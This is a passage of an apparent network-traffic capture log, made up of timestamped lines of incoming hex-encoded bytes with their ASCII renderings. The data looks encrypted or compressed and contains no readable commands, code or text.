f9 ac Data Ascii: =dG 6$3<,"!U/ ,@TTVp u[(wV0/I$(Ton_$4!a&^QA\|Rn_5pJ7?N}FdT1D[.N23E-_be`ZJ9l;1Fg^{^YdXe_bR2U<^HDMt;g
2021-09-27 18:33:32 UTC	1183	IN	Data Raw: 24 e0 1e ba 4c 4b 39 36 e8 11 ad 3a 66 3d a3 0f bc 91 fe a8 a5 3a 1f de 00 87 e0 07 1c 9b fd ed ca 9f 4f 5d c7 1c 92 c0 7c 1e 8f bd e7 3c d0 49 06 3b 90 6c d5 80 c2 d4 2f 83 b1 a0 af 05 bd dc ea bf 40 a8 b0 84 c6 63 f5 4e 9c 5d d1 d0 47 bf 43 1f ab be 91 48 83 7c 07 6f 94 0e 24 53 8c 1d 59 11 8f 8e f2 e7 3a 6a a7 0c d8 17 53 dc 0d 62 c1 dc 3f 35 86 6a 24 51 62 15 88 41 73 2a fa cb 24 8d 60 4b 10 df 0f 95 ae 77 94 c4 61 34 12 30 c9 c1 4a 86 f7 64 41 7f a8 b8 ce f2 6c 32 c2 7b 93 c5 51 98 cc 53 65 0b e6 1b cf b7 8c d4 0d b3 f4 f9 69 b2 8e 28 a1 23 ca 45 41 db 69 ec 1c fb 4b 85 16 1a 48 af 0f d6 36 87 5e 96 bd 22 c7 e5 6c 37 57 eb 8c 51 59 d5 70 8f 2a dc 44 6e ca 9a d0 50 69 ca 56 a5 02 a5 9d ff c5 f4 f0 f9 5a 5b d2 e9 a3 fc a3 8e 51 74 62 4f fd 5a 94 37 2b Data Ascii: $LK96:f=:O]\|<I;l/@cN]GCH\|o$SY:jSb?5j$QbAs$`Kwa40JdAl2{QSei(#EAiKH6^"l7WQYpDnPiVZ[QtbOZ7+
2021-09-27 18:33:32 UTC	1184	IN	Data Raw: e7 8a e4 d0 ff 4e 53 d6 0e a0 c5 ff ab 41 76 12 06 93 f6 9e 47 48 96 de 26 69 49 bc 48 69 80 3e 46 38 46 9f 28 64 d8 2a 11 00 3c 63 1b 79 94 de e2 d3 4f ea 14 09 8b ab d6 cb eb 7b 3b c2 77 91 eb 1e f5 dc ef fa f2 ec 03 e3 83 70 2c d3 9b a9 e1 d3 a0 ab de 9e b0 89 7d 98 f4 5a d3 62 47 04 34 9c 38 3b 78 06 35 86 5b d8 f0 32 51 fd 5c 4c bf ba 3b 07 41 f9 ce 46 85 b3 a1 2e f5 8f 08 b0 9d 52 c9 47 17 46 00 66 03 f6 e6 af 61 5d e4 a4 1e f4 e9 88 f1 45 da 93 af 07 b8 6f 89 b8 06 d4 01 9d a4 9b 38 b3 1c 3f bf f6 58 de 2e da 76 2a 65 07 49 0f 8a e3 a2 07 96 31 78 fa a6 51 f9 70 91 cc 57 2c 41 1b b2 da 2c d2 49 cc 22 09 9a fc 31 a6 56 77 96 19 d2 5d 8d a6 b0 93 5e 7e f1 f2 d5 a9 3d 9b e9 96 6d 20 32 c0 68 2e da 77 9c 85 7a 3f d7 eb bf f9 76 d2 ee fe 6e 82 00 28 cb Data Ascii: NSAvGH&iIHi>F8F(d<cyO{;wp,}ZbG48;x5[2Q\L;AF.RGFfa]Eo8?X.veI1xQpW,A,I"1Vw]^~=m 2h.wz?vn(
2021-09-27 18:33:32 UTC	1186	IN	Data Raw: 0d b7 cf 72 3d 25 77 8d 4b ed f7 32 ca 45 a5 e4 03 b3 0a 21 58 82 94 e1 86 e7 3d 66 46 26 4a ba c7 2f 78 4e 2e b2 1c 4c 12 46 89 fb 6f d7 08 27 5a 63 cf d4 7b 96 b6 e7 27 00 cf 06 9e ad 6b 78 de 38 ad 19 a7 30 7a ec 09 e1 fb ef c7 c1 07 a9 22 eb b4 c2 c4 75 b5 16 3d c4 bf 7a 1b 6b 05 3f 3a 9f d3 54 d2 40 a0 04 a5 21 a3 90 85 7d 4b 7e 15 98 5e 2c 1c 46 8d 77 90 6e 05 c4 bb f4 e3 88 ec b9 0f cb d8 8e 5c 74 2c c1 f8 72 04 06 ef 92 f5 fe c8 69 78 df 00 85 2f 3c 8c 5f 22 5a 85 40 ae 80 11 bd da 40 39 72 3c b6 95 41 30 04 f0 0f 99 5f c3 de 5b 2b 60 9f 86 14 1b 7b 9f c3 72 04 28 ce 8e ae 9c 08 e8 f6 f8 f5 7f a7 ea 79 7e 28 a3 a3 0e b2 e0 e0 3f 27 7f 9a 5c 2c 30 a4 af 2f 5e c2 1b 86 4d 04 51 e6 b9 93 a2 07 ab 7f 84 d1 43 d9 a4 56 cd e1 99 45 da 8d 72 95 ef 97 5a Data Ascii: r=%wK2E!X=fF&J/xN.LFo'Zc{'kx80z"u=zk?:T@!}K~^,Fwn\t,rix/<_"Z@@9r<A0_[+`{r(y~(?'\,0/^MQCVErZ
2021-09-27 18:33:32 UTC	1187	IN	Data Raw: 9e a8 b3 0a 0e 34 3d 11 6c fe f4 78 a0 8b e4 d1 1d 60 45 00 2b ab 4f d1 c9 d9 7e ab 06 7e 09 4c 62 25 6e 31 f9 fa ea 39 80 c2 f0 d4 d4 8d c4 6e 25 a8 0f 92 8e f3 93 2e b4 94 d5 09 05 be 5e eb b9 70 01 5c 12 97 5f c4 a9 8c ff 13 08 3b 20 f9 9c 3d 4b 1b 72 91 cb d0 78 a6 1c e6 0f 97 58 5e b0 26 7e 03 b7 b0 23 77 88 f1 77 b7 f4 e3 69 ab 0a 77 91 9a 07 ea 09 b7 03 92 68 5d 36 80 f9 10 0b 93 50 bf 2a 09 9b f5 44 7a 53 f4 ce b6 23 6c 26 cf 0f e0 bd d3 0e ae 77 ce 4f d2 bf 38 ac 9c c1 5d 43 65 be 52 76 56 67 f9 da 13 66 83 38 4f a5 6e 73 c3 a0 a0 2e cb c1 f7 67 fc 68 74 00 d5 98 20 78 2e d5 ab 33 16 2f bc 84 f1 6e 24 2f e7 95 d0 4f f3 63 cf f5 4c a9 e7 72 02 ab 30 d2 62 ed 44 25 84 30 30 bb f7 7a 18 38 8d e6 4a 91 9a b1 e1 bc 4e 12 e7 76 7b 79 81 95 ef e6 1b cb Data Ascii: 4=lx`E+O~~Lb%n19n%.^p\_; =KrxX^&~#wwiwh]6P*DzS#l&wO8]CeRvVgf8Ons.ght x.3/n$/OcLr0bD%00z8JNv{y
2021-09-27 18:33:32 UTC	1188	IN	Data Raw: 56 83 15 ef 76 ad 3c 47 61 e5 96 b3 17 fb 7c 13 3f 06 c9 69 e5 75 cd 67 bc 8a 31 ed e6 8e 22 dc 7d 4d 26 eb fb 7b 60 95 28 e4 77 b8 60 94 77 9a a2 58 d9 90 21 07 8a fa 72 b9 84 65 a9 89 dd 31 41 d9 a5 98 e9 93 9e 93 61 96 06 9a f0 4c e9 8e 2a 60 54 c6 77 83 cb 86 e7 0e 3d df 67 8b 9f a5 40 b5 17 90 dd a6 6c 2a 1d 90 31 e4 5b 30 53 6a 35 f3 64 14 fe d2 a7 ec 47 1c fb bc 7b 49 92 06 38 a3 21 ac d6 c9 6b 39 4b 84 bf 23 42 56 53 0f 07 02 38 79 ad fb 9a 5c b2 22 b6 29 99 04 d9 1f c3 fc 1f dc 2e 7c 9a 8d f5 6c 96 62 f0 f6 e2 eb 9b d5 19 a9 3f 23 70 9d 6a c7 64 8a f0 7f cf 06 0c db 5b 41 84 fe 65 05 47 bb 3c 5a af 8e 12 9d 1d e3 2e e7 8a a7 d8 27 c2 a2 8e e4 a0 82 e8 a5 b0 99 45 8a ef cc ea a5 3f 32 cb 1f 16 f6 5a df a3 ba 32 7c 2d fc f1 8e 27 1e 0a 8d f1 69 0b Data Ascii: Vv<Ga\|?iug1"}M&{`(w`wX!re1AaL`Tw=g@l1[0Sj5dG{I8!k9K#BVS8y\").\|lb?#pjd[AeG<Z.'E?2Z2\|-'i
2021-09-27 18:33:32 UTC	1190	IN	Data Raw: 7f 6e 1a d3 f9 7e ef 73 ae 8d 76 ad 40 be ce 0f 8c fb d9 19 bc e8 10 72 84 b1 1f 11 37 6d aa 9e 44 92 c7 d6 2a 2c 32 e6 34 9f 96 6d 4d e3 47 37 f0 00 03 85 92 a6 a1 39 31 81 c1 f9 d0 06 32 6f 45 00 4e db ea 1f 0e c7 82 19 9d 6a 22 e8 19 88 0c 3d 08 14 a1 02 00 67 88 1e 8f 52 32 ae 9b 6d 77 6d 0c e5 f6 5b e0 1f dc 5f d7 9d 66 f2 ba 62 76 a2 e1 89 09 0c 87 0a bb 8c 87 1a 97 e2 64 d4 42 fd 2f 24 4c ea ae fe 6c 8d e6 87 1b d1 74 e1 57 c7 74 48 2d 63 e2 3e 8a 47 62 d0 7d a6 82 34 18 70 b1 31 64 67 ee 6e 47 ee ce 63 f5 59 4e 1c 16 2a 85 3c ec 99 3e 4d 55 bf bd a0 25 1d 9e e3 db f1 2c 7d e1 79 d0 04 7f ce e6 6f 53 aa e8 5d 98 63 b0 6e 53 9a ac e3 31 29 bd 9c ae fe a0 2f 21 79 eb fc ac f5 dc 2c 8e b3 fd 58 d4 5a 61 d6 eb 98 de b9 03 b9 fd 83 45 1d e7 39 23 6a a4 Data Ascii: n~sv@r7mD,24mMG7912oENj"=gR2mwm[_fbvdB/$LltWtH-c>Gb}4p1dgnGcYN<>MU%,}yoS]cnS1)/!y,XZaE9#j
2021-09-27 18:33:32 UTC	1191	IN	Data Raw: 11 ff 0a 2a 67 53 32 24 e6 ef 92 ee 53 49 f4 9b c5 4a c6 a8 b9 4f f2 83 24 ec b4 1a 4a 66 49 ed 95 61 4a 4c 7d 97 f4 7a 49 bc 7b 99 37 53 57 a5 f6 cc 7d 13 24 4e 50 ca b1 28 6f e7 9a ab 85 cc a1 6a 0f 22 d3 bd 38 ba 6a 5c 39 76 1a 90 bd af 0a 57 9c 8a ea 76 2f 12 13 25 6f b0 f4 82 7b 05 f4 16 24 c0 fb f1 59 2d ab a5 d5 a1 26 de 33 01 9f ff 05 b6 ee 16 7a 83 a6 90 e6 2b 76 eb 67 6b ab 03 00 ac 0a cf e6 0f 08 e8 17 4f f1 de 3e 34 79 3a c0 c9 60 4e 18 c9 13 9f 3f 3d 2a c0 a2 7c 0c f4 e7 85 7e 74 ef 7f 84 e3 86 f7 23 f4 81 12 b1 cc 4b 14 1b 68 3c 20 2e c2 82 0e 0d 8c ed a6 16 05 a2 b3 05 bd fd f6 58 15 98 0b 62 4f fc d8 85 28 c0 ad d4 ad 1b 78 1a e7 f9 d2 f2 ed 69 ae 9d 4b c7 19 00 3f 2c c1 f6 5d 60 4f fa e2 18 09 d1 0b 2b 2f 5d da 2c d3 d7 b8 64 5e 4d 43 ce Data Ascii: gS2$SIJO$JfIaJL}zI{7SW}$NP(oj"8j\9vWv/%o{$Y-&3z+vgkO>4y:`N?=\|~t#Kh< .XbO(xiK?,]`O+/],d^MC
2021-09-27 18:33:32 UTC	1192	IN	Data Raw: 35 89 e5 5d 34 80 d9 8a d3 6c f3 5c c0 51 33 cb 6a c7 c7 c4 73 b4 f5 ff 13 84 ef 77 8f 5a d4 8e 03 bb f3 75 81 a8 66 f2 0b 82 00 2c 2f cc 42 97 46 51 cc 4a de 3a a3 32 c3 d5 77 f3 96 eb 7c 79 82 04 35 72 39 3d 2b 42 27 9e 41 09 a5 2c fd 93 76 f7 5b 26 d7 a8 aa a3 85 5c 40 13 e5 7b ac 5b 62 bb d9 e7 8d 47 f7 16 ea 10 04 8c 74 4d b2 18 46 da 9e d0 43 36 52 e0 18 1b 6e b1 2a c0 ab a0 bc 74 95 2c cc 71 99 65 38 2b 5c 53 f1 c2 fe d6 ef 65 d5 bb f8 23 90 e1 36 c1 4f 48 76 27 c4 8a d8 76 35 b3 37 0e 4c a5 19 48 ef 05 2f 67 71 4f 31 a2 13 9b 47 12 45 87 75 b5 16 b4 09 c2 98 c2 74 65 cb ee 58 dc 52 99 4b 04 33 df b6 98 d2 51 39 ae 83 3a 35 21 7e 1c 0b dc 1f 6b b2 3a 0e 04 1c 38 01 c4 98 da 3b 02 dd 9a 4c 87 64 fa 24 e1 22 75 b6 39 87 0c f0 ec 13 45 b9 bc 66 33 3c Data Ascii: 5]4l\Q3jswZuf,/BFQJ:2w\|y5r9=+B'A,v[&\@{[bGtMFC6Rn*t,qe8+\Se#6OHv'v57LH/gqO1GEuteXRK3Q9:5!~k:8;Ld$"u9Ef3<
2021-09-27 18:33:32 UTC	1194	IN	Data Raw: 1b ef 49 3f 94 dc 1d 57 59 0f a4 30 b6 99 6f 45 9e a9 d5 20 c5 57 10 a3 59 f9 af f0 d3 9d ff 11 97 65 8e f4 b4 84 c2 5f 3d ad 1f 66 41 25 98 63 de 29 57 2e 84 e0 23 c9 cf a3 10 18 0a 27 bb 24 e0 1c e6 d2 dd a9 39 a0 96 fa c1 05 20 fc c5 f2 33 33 46 2e 5a 79 af e8 82 13 87 7f 37 8f 6c 8b fa e4 d1 6b e4 32 af 84 67 b6 60 01 a6 fb 4c 1f 13 62 6b b4 fe c0 c1 85 83 32 cb 95 5c f0 87 8d 30 d8 32 d6 b7 7d 7d 4e 0a da 98 a1 df 15 f9 67 7c 15 85 24 e3 3b 70 3d 2c da 11 56 ae 74 06 d3 8f 62 56 7c 4a 85 ec 39 35 2b 43 20 d6 0c db b5 60 b7 d4 24 f9 73 f1 7d 45 6d 5c 61 fa 04 bf ff 5b c8 91 c0 48 bf d7 74 d9 93 f5 f7 e0 34 82 f9 38 17 b0 e8 31 f7 98 78 e8 c9 c4 61 dc 9c 0b 97 37 9d 6c 1f 02 d8 f0 95 93 ed 11 2c 16 7b 56 a1 5e ea b6 e8 bb 33 49 c2 a0 d7 7e c1 85 f1 b0 Data Ascii: I?WY0oE WYe_=fA%c)W.#'$9 33F.Zy7lk2g`Lbk2\02}}Ng\|$;p=,VtbV\|J95+C `$s}Em\a[Ht481xa7l,{V^3I~
2021-09-27 18:33:32 UTC	1195	IN	Data Raw: cf 20 40 4e 7e 0b 5a ab d5 ae 87 65 09 37 3e c1 4f b5 1e 41 22 10 2f 8e 92 d9 01 52 7c 2c 66 8d 8e 1b b2 75 a0 ba b6 3a 88 e0 0f 85 c4 ff 4a d0 5f 63 0e f1 48 b2 a9 c1 2a 23 74 20 5d 77 8d 49 f5 42 63 cc 4c a7 ee 44 a8 b7 12 0d b7 c7 dc e6 78 df 9b f7 d6 8a e7 8a e0 23 48 a9 db 22 b0 85 6d 0f 0b c1 5b 4a 88 3e ee ee fe d6 f1 be ca e4 ae b5 15 97 44 58 db 8b 7a 16 08 18 33 10 ec 4c 7b 92 d9 7c c9 f0 ea 17 91 71 83 95 4b f0 ec 15 07 13 b6 8c e2 1e 3b e4 29 5a 70 33 12 36 86 1f 76 fb 56 6f 1c 3f 0c 0e 1b 78 5e 34 9d 11 89 c5 23 a6 8f ac 59 5d cb d3 b3 37 07 85 c9 6d 98 cf ca 5d f3 4f c3 dd 5c 8d 81 81 9e 0e b1 d1 0e b9 bb 91 93 95 fb 48 8e e9 3d e3 4f ed 69 bc b1 a6 56 42 a5 12 f7 ca af 15 85 cd 0a 0d 8c fd 48 b1 36 9b a8 17 1e f1 7a 28 ee 15 83 88 f2 f3 cc Data Ascii: @N~Ze7>OA"/R\|,fu:J_cH*#t ]wIBcLDx#H"m[J>DXz3L{\|qK;)Zp36vVo?x^4#Y]7m]O\H=OiVBH6z(
2021-09-27 18:33:32 UTC	1196	IN	Data Raw: 64 2e 5a 65 d6 fc 75 92 64 4c 8d 6a 8d a6 b2 98 dc 9b f5 3b 3f 2d 5f f9 46 69 bf 72 31 52 c8 c5 eb bc 40 85 c9 2c f0 58 23 16 b8 c8 e2 21 51 30 e5 59 06 e4 e7 9c c1 21 06 3d 62 79 24 c9 69 93 7f a5 d4 28 cb c2 64 f5 f3 48 e9 af ad 47 03 00 84 fe fc fd a3 59 0f 86 e9 35 96 ce 7a 25 56 a7 c7 f8 48 3f 4c 95 91 75 b9 dc 13 b2 70 4c 91 57 e3 2f dd a0 0e 85 21 f2 37 70 23 0e c9 09 a5 29 46 cb d0 12 63 0e 30 d3 9f 07 97 b3 84 e9 83 74 94 42 99 8f d5 ad a5 97 e2 09 a5 2c fc fd 74 da ce d5 ab 1c 32 eb 95 c4 78 49 8a 84 e5 5e 90 89 7c 1c f4 25 79 2d 54 c1 82 1d 31 49 2f 62 ff 90 c6 61 fb b6 70 37 38 a6 63 66 74 96 51 ae 91 53 e1 e9 1b 22 88 36 d3 ad db 61 70 20 e8 1b 45 2a ee 17 66 ea 1a f7 d7 df 90 13 22 f7 1b e0 5b db 16 f1 6b ed 74 ea e8 07 e3 b9 31 fa a2 a6 ba Data Ascii: d.ZeudLj;?-_Fir1R@,X#!Q0Y!=by$i(dHGY5z%VH?LupLW/!7p#)Fc0tB,t2xI^\|%y-T1I/bap78cftQS"6ap E*f"[kt1
2021-09-27 18:33:32 UTC	1198	IN	Data Raw: b1 11 8e 77 b4 49 b7 e1 8c ff 40 9e 0f 29 b1 ed 71 b9 d3 5a c1 07 a9 34 0e a3 4e 91 ad 1c e6 db 05 b0 bf 06 85 94 da 39 82 c1 0d a5 ce c9 23 69 af a8 34 bd e0 8e dc 9b 6f 5b f1 bc cb 2c 39 21 79 ba 92 01 5a 6d a7 9b f5 00 c7 28 d2 44 27 f3 7e 29 af 94 25 76 09 66 8e 0b 93 5d ca 68 c6 9a 35 3a ac 21 1b 6d aa 9b f7 d6 d0 4b 01 b9 c1 52 e3 ed 77 9b 52 4a 60 02 c5 e8 0f 5d 74 16 27 6f 6b 51 d8 a0 7d 2c 54 65 18 21 a4 5e d8 d4 2b 56 7b 8c c0 15 2f 0e 1a f1 7e 0f a8 14 bb 10 e8 0a 21 59 72 4f ef 6e 21 7b 99 79 56 d8 dc d2 4d 11 67 5f 31 53 f2 37 7c 0f 56 70 9d 7b 84 d3 fb 54 42 be df ca bd e3 85 71 a0 54 eb 17 81 8f ae 34 99 81 2b 04 39 5c c5 d5 0a d8 11 4e b8 03 b5 bb 4f 14 33 6d a3 2f 42 91 98 0f 78 e3 95 42 a8 e0 07 91 74 cb 7c a6 ae 86 3c 07 a3 8a 7f dd 3e Data Ascii: wI@)qZ4N9#i4o[,9!yZm(D'~)%vf]h5:!mKRwRJ`]t'okQ},Te!^+V{/~!YrOn!{yVMg_1S7\|Vp{TBqT4+9\NO3m/BxBt\|<>
2021-09-27 18:33:32 UTC	1199	IN	Data Raw: 85 42 60 47 18 80 5c 45 a1 a1 27 ed 3c c3 e9 dc 39 7a 1f 3d 35 f8 22 e0 1f 7f 98 f0 c3 0f a7 c0 70 21 a2 18 05 4b c1 a7 31 81 30 d4 3b 21 7b a3 1b 86 48 66 45 16 cf 0e 09 b1 00 29 7b 7a a4 47 03 a7 8a c8 48 9d 4b 36 79 55 83 7c 07 b8 60 91 96 c6 59 e5 91 7a f8 98 28 c8 4a 48 4f 82 1c fe c2 71 91 64 b0 01 bb fc d5 77 3b 00 f0 57 f9 a9 fa ef 7b 91 79 d6 29 e6 a9 31 42 9a c4 3a b3 32 3e a5 c8 49 01 01 2d 4e ce f4 9f 2b 48 8d 70 14 23 8e 11 72 22 f8 b1 14 5d ce a2 49 f0 f5 79 27 c2 ab b0 81 98 5c f7 30 ca 76 ac 28 d9 a3 24 e2 37 de ca a6 bb e9 42 34 b3 c9 6b d9 bc 65 d1 d7 8b 53 11 0f 78 17 91 e0 8e e4 d8 37 37 16 14 b0 60 5b db ba 2c e0 03 bf ee 3d 9a cb c1 ff 40 9e 0f b7 03 9b 63 36 b1 19 6f b0 2e 67 c5 5a f0 ea b4 0a 33 2e da 9b 3b 24 ce 7e ef 80 93 4d 10 Data Ascii: B`G\E'<9z=5"p!K10;!{HfE){zGHK6yU\|`Yz(JHOqdw;W{y)1B:2>I-N+Hp#r"]Iy'\0v($7B4keSx77`[,=@c6o.gZ3.;$~M
2021-09-27 18:33:32 UTC	1200	IN	Data Raw: 74 33 2e 7e 9c 9a 74 80 4f e6 28 ee 15 d9 a1 37 34 00 af 19 2a c4 36 a2 9e 97 a4 09 fb 4a 9f 6b a8 f1 67 e0 33 d8 90 8f 6e 21 a8 38 84 7c b6 dd b3 03 b7 20 35 24 f1 74 23 55 c2 f5 16 ad 3d 05 03 84 ba ed 53 81 48 aa 15 6d 0d 79 90 d1 c3 e6 31 2e 69 eb 9f 27 5e 58 4b b8 b1 fa f4 fb 4f c3 76 68 c2 68 2d 4e 72 8d 04 34 aa b6 84 fc e1 52 ca b5 14 1a e8 e1 2f a6 b7 0d 2a 88 ef 2e ca 93 98 39 3d 34 bf cf f1 80 32 3b 3a af 7b 06 0c db 1a 1a e9 9a c4 4c 43 af e9 94 c1 fc e6 28 eb 48 31 4b 15 85 77 63 10 ff 42 8d 23 69 02 87 81 91 4d 10 2e 0b 5e aa b4 85 6e 08 1a 03 04 d7 bf ea 4d 1e 4d c5 79 80 06 3c 93 9c d8 8d 12 f2 cd 7d 3f d4 37 35 38 80 27 61 7f e1 74 32 7b 10 19 99 94 c8 54 60 91 c0 54 bb 69 f7 6f 96 11 6b 9b e8 5e 5a 41 1f 72 02 c9 b4 70 3c b8 1a 55 5a f5 Data Ascii: t3.~tO(746Jkg3n!8\| 5$t#U=SHmy1.i'^XKOvhh-Nr4R/.9=42;:{LC(H1KwcB#iM.^nMMy<}?758'at2{T`Tiok^ZArp<UZ
2021-09-27 18:33:32 UTC	1202	IN	Data Raw: 8d e1 1b 69 86 7b c8 8b 50 8b be 05 84 e1 71 f0 6d 0e 5d 75 d4 f3 8d 27 41 b3 34 40 63 2b c9 1e b6 58 4d 87 2c a8 6a 8f ad 58 67 75 ae 97 e1 a4 8a fb 09 20 dd bf 0c 0e 88 f8 0b e9 53 d3 91 0d 52 1f 46 c1 8e 77 d5 8b 54 9f 7f 16 6b ee 18 82 b7 7e b8 8a 55 3a 81 b0 90 a9 e6 3f d7 4a 63 dc d9 03 fc 9d d1 c6 ea a2 3c 3a f7 2e 1d 48 d7 5d bd cf d2 de 8e 35 24 c2 5a 7a 3a b0 0b 2e 41 89 ab 60 e1 5d 86 69 91 c4 8d 26 47 3a ab af 53 f0 bc 33 65 03 59 8f 61 b1 4e 4a 57 39 d2 f7 8d 20 9d 81 cd c1 1c 20 48 a3 f7 70 3a 51 f8 49 57 68 5b 6d a0 f2 e8 82 4a d6 5e 6c 96 16 4e af 72 aa 42 ec 26 d8 2b 45 29 d8 5b b1 0f a8 58 fd e1 62 ef 84 4a 5c 1f 80 26 56 68 be 1c 5d 4a 25 ae 98 66 97 5c 33 90 03 1b 72 cf 80 fb a2 3b 1f 3d 5b 23 81 39 76 c2 22 d9 2c 32 bd b2 7f ed 2a 59 Data Ascii: i{Pqm]u'A4@c+XM,jXgu SRFwTk~U:?Jc<:.H]5$Zz:.A`]i&G:S3eYaNJW9 Hp:QIWh[mJ^lNrB&+E)[XbJ\&Vh]J%f\3r;=[#9v",2*Y
2021-09-27 18:33:32 UTC	1203	IN	Data Raw: 38 0b 51 53 96 d1 c3 20 9c ca e7 b0 a3 86 3b b1 61 cd c0 dc 46 88 46 af 3a 62 87 d5 d8 31 48 38 dc 24 b1 07 6b 0f 1a 80 02 24 dc 16 52 76 f6 67 dc 25 74 ea ad 19 5d 4d de 9f 83 77 a9 b7 27 47 93 96 bf 30 5e 71 66 b4 42 7e 3e 9e 78 53 f8 d0 60 af d0 f3 60 43 3b ce 19 be 63 cf ed 87 15 d2 56 7d e3 09 e0 f8 17 4a 93 66 79 53 8e 0e a1 46 71 2a bc 95 e6 67 34 7c 7c e5 50 09 b0 28 60 db a9 23 66 68 f5 a9 9f 3e b4 9b 69 27 22 19 72 33 28 cc e5 fe 34 aa ab 11 83 94 12 54 6e 31 f5 83 c3 78 3a 1c f3 2b 64 1d 5d d9 1a 3b 1b 99 73 9b b8 b0 2b 58 6d 9f dc 9b 83 72 36 7a 89 73 47 e6 20 df 6d 5c 7f 25 18 a0 fd 1e db cc 45 61 4b b7 7f 2c 4e 47 36 9d f6 1d c6 b9 eb 8a f9 74 0a 0a 4f 65 84 e7 91 4c 91 70 ee 3d 3c a6 bf f8 de 0d 2f c9 24 e5 9d 53 19 54 e9 97 4e b7 ad 0d 72 Data Ascii: 8QS ;aFF:b1H8$k$Rvg%t]Mw'G0^qfB~>xS``C;cV}JfySFq*g4\|\|P(`#fh>i'"r3(4Tn1x:+d];s+Xmr6zsG m\%EaK,NG6tOeLp=</$STNr
2021-09-27 18:33:32 UTC	1204	IN	Data Raw: c8 74 e0 58 35 8f 3c eb 7e e8 3b 2e d6 17 7e 9a 78 09 b5 21 88 bb d6 25 62 07 a3 00 d2 21 0e 18 00 15 67 1d b6 95 42 a5 c7 fa 81 9e b2 b5 f9 1e cb c0 67 e4 f8 66 59 e7 82 3d d1 47 17 95 53 de cf 18 0b 8e f5 51 0d 46 9e bc 68 1f 93 db b1 00 2b 75 42 b4 91 4f ff e4 b8 08 4e a7 10 06 2b 51 b4 85 03 68 2e cf ca 54 39 3c cd 14 cb d1 d3 af 55 c3 88 71 bc 61 dc 38 e7 92 6b 3b 85 73 a6 a2 c6 ae cd cb 7d 33 52 56 76 12 15 90 ca 44 b7 3b 12 39 a2 03 a4 b0 07 ff 39 6d d5 fc f1 b3 f7 a7 ec 07 94 ed 55 29 07 bc bd 75 00 26 ce 5b 18 7a 10 a2 5e 46 d5 fd e3 20 f2 f2 f3 71 1d ed 30 99 56 fc 6b 37 93 19 ed 43 0d 2b 97 52 c5 f7 62 f7 6e 23 b4 85 6a 6d 86 46 af 1d 5b 1a 4b 0d 9d 51 e6 2d 42 44 56 ab 34 ea fb 7b 82 3f c1 52 d8 3d 35 ff 98 d4 34 bd e4 0d 28 d5 d4 a5 95 fd 5c Data Ascii: tX5<~;.~x!%b!gBgfY=GSQFh+uBON+Qh.T9<Uqa8k;s}3RVvD;99mU)u&[z^F q0Vk7C+Rbn#jmF[KQ-BDV4{?R=54(\
2021-09-27 18:33:32 UTC	1209	IN	Data Raw: e9 9c d4 28 e6 a1 88 3f 09 87 4b 43 01 8b 59 c8 63 f3 5d f3 9a ac 1e e3 89 bb 57 83 c5 73 a9 a3 dd bf fb 4e cf 48 c5 e4 1b 6a 17 4c 32 fb 48 9b 52 5a 48 67 b8 a0 a8 b4 3a 66 09 a5 2e d7 7c b1 40 b4 98 dc e5 5b 99 44 85 78 d3 74 cd ca 42 8d a2 0e 28 d2 45 04 85 b3 e5 97 4f ff e3 2d d0 5b ca 44 23 d9 52 77 95 40 65 e1 57 2a 48 8f e2 d8 d2 45 1d 71 1f d6 de 30 c5 e1 e8 aa bc b2 3f 39 21 7b 27 04 25 61 88 f9 a9 e4 7e 2b 45 03 46 9b 86 77 ee cc 5e 49 be 41 ed 15 ab 36 bd 39 81 93 49 01 79 5a 55 fe d5 b4 b5 5d d6 84 3e 55 c3 a3 1c df 99 b3 c4 ef 79 97 f0 5a 75 dc 0d 7f d2 10 de a4 fd 43 0b 9c a6 8d 68 74 e2 65 16 a8 af 1d 70 76 12 5a 48 4c 41 24 ff 59 f1 4f c6 64 b0 1a 24 e7 80 c8 f8 f9 d7 00 01 a1 20 ec 2f 63 2c d8 b8 6e 20 5b 68 68 28 c4 6e 81 37 6b bd e2 11 Data Ascii: (?KCYc]WsNHjL2HRZHg:f.\|@[DxtB(EO-[D#Rw@eW*HEq0?9!{'%a~+EFw^IA69IyZU]>UyZuChtepvZHLA$YOd$ /c,n [hh(n7k
2021-09-27 18:33:32 UTC	1213	IN	Data Raw: d0 74 0a dd 84 73 a5 2e 07 d1 c6 09 b5 3b 07 41 4e a8 a9 37 0b 62 56 b2 86 fd ee 69 8b 51 47 4c e6 12 2a 89 6e 18 eb 75 29 46 80 a1 17 80 06 29 e8 9a df 8f d3 ba 10 31 a6 44 12 1c f5 f7 10 0d 9a d0 8c 74 2f 73 6b a0 d3 9e 9d 9f 83 46 50 55 ee c9 eb 04 d4 04 fd 19 73 82 3a 45 87 ae 89 70 36 10 3c 80 ed 70 a0 a8 b4 3a c0 7a 51 f5 5e 7d 71 9e 60 43 08 04 d2 9b c1 fb 5d 12 4c 8d da 81 b0 ab a2 e4 66 42 b9 a7 21 41 a3 40 91 0b 8d 5b 20 58 bd e2 11 0f a0 b6 96 d2 f0 55 ff 6d 33 3c d2 05 ad 39 1c 0f 6f 76 0c 1f d3 21 63 f0 dd 83 d6 a2 8f af eb 33 c4 60 7c 6d 12 39 19 cf 8d 72 e1 e3 6d 08 4b ed ca 3a a9 94 a8 b9 b4 91 ee 94 3e 9b 20 02 18 36 14 75 5c 3b 12 b9 d8 db 92 40 df 51 e0 18 c8 7b 86 1d 0f 18 1d 78 a9 e1 91 61 ef 58 84 8f e7 9c c1 c9 64 7d 7d b7 3e 4d 61 Data Ascii: ts.;AN7bViQGL*nu)F)1Dt/skFPUs:Ep6<p:zQ^}q`C]LfB!A@[ XUm3<9ov!c3`\|m9rmK:> 6u\;@Q{xaXd}}>Ma
2021-09-27 18:33:32 UTC	1216	IN	Data Raw: 4c f5 9b 82 6f 52 be 1d 90 19 15 96 e8 cd b3 01 75 cd 48 39 5f 0e de 5a e9 43 71 7a a5 41 cf 03 c5 6c f1 18 8a 24 8f cb e8 8b 00 a9 66 64 83 c1 f8 f5 7c 1c db 82 9d 21 d1 ac 8b 3e b5 af 62 fb 0c 12 3c aa 37 59 21 47 18 2d 4d 9a b8 b4 b1 01 e6 01 1b 07 16 4e 63 fa f4 40 c9 6d ef 70 70 29 c0 02 ff 4b 15 8f 62 60 d3 94 05 45 f1 a5 3d 37 61 c9 91 56 ab a3 4f ea 11 85 44 ae 74 86 23 68 2c 6d 22 85 c6 97 30 d5 b8 7e 25 ab a0 d9 a3 22 fb 73 8c 03 04 ec 17 94 56 d2 5d c7 d1 c6 17 9a 78 d7 15 9b 44 80 3f 0f 7e 91 88 f6 fb ed cd d2 54 70 2e 93 54 c6 36 7c 30 f9 80 10 c8 57 fa 25 